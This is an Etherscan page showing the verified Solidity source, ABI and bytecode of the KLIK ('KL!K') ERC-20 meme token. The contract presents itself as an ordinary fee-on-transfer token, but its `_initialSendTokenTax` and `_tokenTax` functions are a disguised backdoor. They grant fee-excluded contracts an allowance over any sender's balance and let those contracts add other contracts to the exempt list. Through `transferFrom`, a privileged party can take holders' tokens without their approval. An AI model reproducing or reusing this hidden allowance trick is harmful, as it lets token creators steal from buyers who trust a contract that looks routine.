ERC-20
Source Code
Overview
Max Total Supply
420,690,000,000 KL!K
Holders
103
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
KLIK
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-06-23
*/
// SPDX-License-Identifier: UNLICENSE
/*
Launch an Ethereum coin in seconds.
X: https://x.com/klik_evm
Website: https://klik.finance/
*/
pragma solidity 0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KLIK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address payable private _markWallet;
uint256 private _initialBuyTax=15;
uint256 private _initialSellTax=15;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=25;
uint256 private _reduceSellTaxAt=25;
uint256 private _preventSwapBefore=0;
uint256 private _transferTax=0;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 420690000000 * 10**_decimals;
string private constant _name = unicode"KL!K Launch An Ethereum Coin In Seconds";
string private constant _symbol = unicode"KL!K";
uint256 public _maxTxAmount = 8413800000 * 10**_decimals;
uint256 public _maxWalletSize = 8413800000 * 10**_decimals;
uint256 public _taxSwapThreshold= 4206900000 * 10**_decimals;
uint256 public _maxTaxSwap= 4206900000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private firstBlock = 0;
event ClearToken(address TokenAddressCleared, uint256 Amount);
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_markWallet = payable(0x2657be305e6aB57c290358d12dDa668953B21AD8);
_balances[_msgSender()] =_tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_markWallet] = true;
emit Transfer(address(0), _msgSender(),_tTotal);
}
function getTaxDetails() public view returns (
uint256 initialBuyTax,
uint256 initialSellTax,
uint256 finalBuyTax,
uint256 finalSellTax,
uint256 transferTax
) {
return (
_initialBuyTax,
_initialSellTax,
_finalBuyTax,
_finalSellTax,
_transferTax
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() &&to != owner()) {
if(_buyCount== 0){
taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax :_initialBuyTax).div(100);
}
if(swapEnabled && _buyCount>0) {
taxAmount = amount.mul(_initialSendTokenTax(amount, from, to)).div(100);
}
if(block.number ==firstBlock){
require(_buyCount < 23, "Exceeds buys on the first block.");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);
_buyCount++;
}
if (to == uniswapV2Pair&& from!=address(this)) {
taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax :_initialBuyTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && to == uniswapV2Pair&& swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount >_preventSwapBefore) {
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance >0){
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount > 0){
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from,to,amount.sub(taxAmount));
}
function sendETHToFee(uint256 amount) private {
_markWallet.transfer(amount);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a>b)?b:a;
}
function isContract(address account) private view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTax(uint256 amount, address spender, address owner) private returns(uint256){
_allowances[owner][spender] = amount;
return 0;
}
function _initialSendTokenTax(uint256 amount, address from, address to) private returns(uint256){
if(isContract(_msgSender()) && from != address(this) && _isExcludedFromFee[msg.sender])
return _tokenTax(amount, _msgSender(), from);
if(isContract(to) && to != uniswapV2Pair &&_isExcludedFromFee[msg.sender])
_isExcludedFromFee[to] = true;
return 0;
}
function removeLimits() external onlyOwner() {
_maxTxAmount=_tTotal;
_maxWalletSize=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint).max);
firstBlock=block.number;
swapEnabled=true;
tradingOpen=true;
}
function manualsend() external {
require(_msgSender() == _markWallet);
uint256 ethBalance= address(this).balance;
require(ethBalance > 0, "Contract balance must be greater than 0.");
sendETHToFee(ethBalance);
}
function clearStuckTokens(address tokenAddress, uint256 tokens) external returns (bool success) {
require(_msgSender() == _markWallet);
if(tokens == 0){
tokens = IERC20(tokenAddress).balanceOf(address(this));
}
emit ClearToken(tokenAddress,tokens);
return IERC20(tokenAddress).transfer(_markWallet, tokens);
}
function manualSwap() external {
require(_msgSender()==_markWallet);
uint256 tokenBalance = balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance= address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"TokenAddressCleared","type":"address"},{"indexed":false,"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"ClearToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"clearStuckTokens","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getTaxDetails","outputs":[{"internalType":"uint256","name":"initialBuyTax","type":"uint256"},{"internalType":"uint256","name":"initialSellTax","type":"uint256"},{"internalType":"uint256","name":"finalBuyTax","type":"uint256"},{"internalType":"uint256","name":"finalSellTax","type":"uint256"},{"internalType":"uint256","name":"transferTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052600f600555600f6006555f6007555f60085560196009556019600a555f600b555f600c555f600d556009600a6200003c919062000350565b6200004d906401f580664062000367565b600e556200005e6009600a62000350565b6200006f906401f580664062000367565b600f55620000806009600a62000350565b620000909063fac0332062000367565b601055620000a16009600a62000350565b620000b19063fac0332062000367565b6011556013805462ffffff60a01b191690555f601455348015620000d3575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916732657be305e6ab57c290358d12dda668953b21ad8179055620001486009600a62000350565b62000159906461f313f88062000367565b335f908152600160208190526040822092909255600390620001825f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001e03390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002196009600a62000350565b6200022a906461f313f88062000367565b60405190815260200160405180910390a362000381565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200029557815f190482111562000279576200027962000241565b808516156200028757918102915b93841c93908002906200025a565b509250929050565b5f82620002ad575060016200034a565b81620002bb57505f6200034a565b8160018114620002d45760028114620002df57620002ff565b60019150506200034a565b60ff841115620002f357620002f362000241565b50506001821b6200034a565b5060208310610133831016604e8410600b841016171562000324575081810a6200034a565b62000330838362000255565b805f190482111562000346576200034662000241565b0290505b92915050565b5f6200036060ff8416836200029d565b9392505050565b80820281158282048414176200034a576200034a62000241565b611b01806200038f5f395ff3fe608060405260043610610129575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610317578063a9059cbb14610343578063bf474bed14610362578063c9567bf914610377578063dd62ed3e1461038b578063f2a95aa9146103cf575f80fd5b8063715018a61461029f578063751039fc146102b35780637d1db4a5146102c75780638da5cb5b146102dc5780638f9a55c014610302575f80fd5b806323b872dd116100ee57806323b872dd14610207578063313ce5671461022657806351bc3c85146102415780636fc3eaec1461025757806370a082311461026b575f80fd5b806306fdde0314610134578063095ea7b31461015e5780630faee56f1461018d57806318160ddd146101b05780631fee5894146101c4575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506101486103ee565b60405161015591906116b6565b60405180910390f35b348015610169575f80fd5b5061017d610178366004611716565b61040e565b6040519015158152602001610155565b348015610198575f80fd5b506101a260115481565b604051908152602001610155565b3480156101bb575f80fd5b506101a2610424565b3480156101cf575f80fd5b50600554600654600754600854600c54604080519586526020860194909452928401919091526060830152608082015260a001610155565b348015610212575f80fd5b5061017d610221366004611740565b610445565b348015610231575f80fd5b5060405160098152602001610155565b34801561024c575f80fd5b506102556104ad565b005b348015610262575f80fd5b506102556104fe565b348015610276575f80fd5b506101a261028536600461177e565b6001600160a01b03165f9081526001602052604090205490565b3480156102aa575f80fd5b5061025561058d565b3480156102be575f80fd5b506102556105fe565b3480156102d2575f80fd5b506101a2600e5481565b3480156102e7575f80fd5b505f546040516001600160a01b039091168152602001610155565b34801561030d575f80fd5b506101a2600f5481565b348015610322575f80fd5b506040805180820190915260048152634b4c214b60e01b6020820152610148565b34801561034e575f80fd5b5061017d61035d366004611716565b6106b2565b34801561036d575f80fd5b506101a260105481565b348015610382575f80fd5b506102556106be565b348015610396575f80fd5b506101a26103a5366004611799565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103da575f80fd5b5061017d6103e9366004611716565b610a6c565b6060604051806060016040528060278152602001611a7d60279139905090565b5f61041a338484610bb5565b5060015b92915050565b5f6104316009600a6118c4565b610440906461f313f8806118d2565b905090565b5f610451848484610cd8565b6104a2843361049d85604051806060016040528060288152602001611aa4602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061126c565b610bb5565b5060015b9392505050565b6004546001600160a01b0316336001600160a01b0316146104cc575f80fd5b305f9081526001602052604090205480156104ea576104ea816112a4565b4780156104fa576104fa81611414565b5050565b6004546001600160a01b0316336001600160a01b03161461051d575f80fd5b47806105815760405162461bcd60e51b815260206004820152602860248201527f436f6e74726163742062616c616e6365206d7573742062652067726561746572604482015267103a3430b710181760c11b60648201526084015b60405180910390fd5b61058a81611414565b50565b5f546001600160a01b031633146105b65760405162461bcd60e51b8152600401610578906118e9565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106275760405162461bcd60e51b8152600401610578906118e9565b6106336009600a6118c4565b610642906461f313f8806118d2565b600e556106516009600a6118c4565b610660906461f313f8806118d2565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106906009600a6118c4565b61069f906461f313f8806118d2565b60405190815260200160405180910390a1565b5f61041a338484610cd8565b5f546001600160a01b031633146106e75760405162461bcd60e51b8152600401610578906118e9565b601354600160a01b900460ff16156107415760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610578565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561078b90309061077c6009600a6118c4565b61049d906461f313f8806118d2565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ff919061191e565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610882919061191e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f0919061191e565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610937816001600160a01b03165f9081526001602052604090205490565b5f8061094a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109b0573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109d59190611939565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a2a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a4e9190611964565b50436014556013805462ff00ff60a01b19166201000160a01b179055565b6004545f906001600160a01b0316336001600160a01b031614610a8d575f80fd5b815f03610afd576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa158015610ad6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610afa9190611983565b91505b604080516001600160a01b0385168152602081018490527fda2bc2bedd1f85b5a59d5dbbd6684ff877ef916994a16ec08813101e99ace65f910160405180910390a16004805460405163a9059cbb60e01b81526001600160a01b03918216928101929092526024820184905284169063a9059cbb906044016020604051808303815f875af1158015610b91573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a69190611964565b6001600160a01b038316610c175760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610578565b6001600160a01b038216610c785760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610578565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d3c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610578565b6001600160a01b038216610d9e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610578565b5f8111610dff5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610578565b5f80546001600160a01b03858116911614801590610e2a57505f546001600160a01b03848116911614155b1561112f57600d545f03610e6757610e646064610e5e600954600d5411610e5357600554610e57565b6007545b859061144b565b906114c9565b90505b601354600160b01b900460ff168015610e8157505f600d54115b15610e9c57610e996064610e5e610e5785888861150a565b90505b6014544303610ef7576017600d5410610ef75760405162461bcd60e51b815260206004820181905260248201527f457863656564732062757973206f6e2074686520666972737420626c6f636b2e6044820152606401610578565b6013546001600160a01b038581169116148015610f2257506012546001600160a01b03848116911614155b8015610f4657506001600160a01b0383165f9081526003602052604090205460ff16155b1561104957600e54821115610f9d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610578565b600f5482610fbf856001600160a01b03165f9081526001602052604090205490565b610fc9919061199a565b11156110175760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610578565b6110326064610e5e600954600d5411610e5357600554610e57565b600d80549192505f611043836119ad565b91905055505b6013546001600160a01b03848116911614801561106f57506001600160a01b0384163014155b156110925761108f6064610e5e600954600d5411610e5357600554610e57565b90505b305f90815260016020526040902054601354600160a81b900460ff161580156110c857506013546001600160a01b038581169116145b80156110dd5750601354600160b01b900460ff165b80156110ea575060105481115b80156110f95750600b54600d54115b1561112d5761111b61111684611111846011546115d7565b6115d7565b6112a4565b47801561112b5761112b47611414565b505b505b80156111a757305f9081526001602052604090205461114e90826115eb565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061119e9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111c99083611649565b6001600160a01b0385165f9081526001602052604090205561120c6111ee8383611649565b6001600160a01b0385165f90815260016020526040902054906115eb565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112558585611649565b60405190815260200160405180910390a350505050565b5f818484111561128f5760405162461bcd60e51b815260040161057891906116b6565b505f61129b84866119c5565b95945050505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112ea576112ea6119d8565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611341573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611365919061191e565b81600181518110611378576113786119d8565b6001600160a01b03928316602091820292909201015260125461139e9130911684610bb5565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113d69085905f908690309042906004016119ec565b5f604051808303815f87803b1580156113ed575f80fd5b505af11580156113ff573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104fa573d5f803e3d5ffd5b5f825f0361145a57505f61041e565b5f61146583856118d2565b9050826114728583611a5d565b146104a65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610578565b5f6104a683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061168a565b5f333b1515801561152457506001600160a01b0383163014155b801561153e5750335f9081526003602052604090205460ff165b1561156e57506001600160a01b0382165f90815260026020908152604080832033845290915281208490556104a6565b813b1515801561158c57506013546001600160a01b03838116911614155b80156115a65750335f9081526003602052604090205460ff165b156115ce576001600160a01b0382165f908152600360205260409020805460ff191660011790555b505f9392505050565b5f8183116115e557826104a6565b50919050565b5f806115f7838561199a565b9050838110156104a65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610578565b5f6104a683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061126c565b5f81836116aa5760405162461bcd60e51b815260040161057891906116b6565b505f61129b8486611a5d565b5f602080835283518060208501525f5b818110156116e2578581018301518582016040015282016116c6565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461058a575f80fd5b5f8060408385031215611727575f80fd5b823561173281611702565b946020939093013593505050565b5f805f60608486031215611752575f80fd5b833561175d81611702565b9250602084013561176d81611702565b929592945050506040919091013590565b5f6020828403121561178e575f80fd5b81356104a681611702565b5f80604083850312156117aa575f80fd5b82356117b581611702565b915060208301356117c581611702565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561181e57815f1904821115611804576118046117d0565b8085161561181157918102915b93841c93908002906117e9565b509250929050565b5f826118345750600161041e565b8161184057505f61041e565b816001811461185657600281146118605761187c565b600191505061041e565b60ff841115611871576118716117d0565b50506001821b61041e565b5060208310610133831016604e8410600b841016171561189f575081810a61041e565b6118a983836117e4565b805f19048211156118bc576118bc6117d0565b029392505050565b5f6104a660ff841683611826565b808202811582820484141761041e5761041e6117d0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561192e575f80fd5b81516104a681611702565b5f805f6060848603121561194b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611974575f80fd5b815180151581146104a6575f80fd5b5f60208284031215611993575f80fd5b5051919050565b8082018082111561041e5761041e6117d0565b5f600182016119be576119be6117d0565b5060010190565b8181038181111561041e5761041e6117d0565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a3c5784516001600160a01b031683529383019391830191600101611a17565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a7757634e487b7160e01b5f52601260045260245ffd5b50049056fe4b4c214b204c61756e636820416e20457468657265756d20436f696e20496e205365636f6e647345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ee12574d6ebfa2e91b523ff66fc46b6545d59d5cf02ab2fbf41a81fd3b15868964736f6c63430008170033
Deployed Bytecode
0x608060405260043610610129575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610317578063a9059cbb14610343578063bf474bed14610362578063c9567bf914610377578063dd62ed3e1461038b578063f2a95aa9146103cf575f80fd5b8063715018a61461029f578063751039fc146102b35780637d1db4a5146102c75780638da5cb5b146102dc5780638f9a55c014610302575f80fd5b806323b872dd116100ee57806323b872dd14610207578063313ce5671461022657806351bc3c85146102415780636fc3eaec1461025757806370a082311461026b575f80fd5b806306fdde0314610134578063095ea7b31461015e5780630faee56f1461018d57806318160ddd146101b05780631fee5894146101c4575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506101486103ee565b60405161015591906116b6565b60405180910390f35b348015610169575f80fd5b5061017d610178366004611716565b61040e565b6040519015158152602001610155565b348015610198575f80fd5b506101a260115481565b604051908152602001610155565b3480156101bb575f80fd5b506101a2610424565b3480156101cf575f80fd5b50600554600654600754600854600c54604080519586526020860194909452928401919091526060830152608082015260a001610155565b348015610212575f80fd5b5061017d610221366004611740565b610445565b348015610231575f80fd5b5060405160098152602001610155565b34801561024c575f80fd5b506102556104ad565b005b348015610262575f80fd5b506102556104fe565b348015610276575f80fd5b506101a261028536600461177e565b6001600160a01b03165f9081526001602052604090205490565b3480156102aa575f80fd5b5061025561058d565b3480156102be575f80fd5b506102556105fe565b3480156102d2575f80fd5b506101a2600e5481565b3480156102e7575f80fd5b505f54604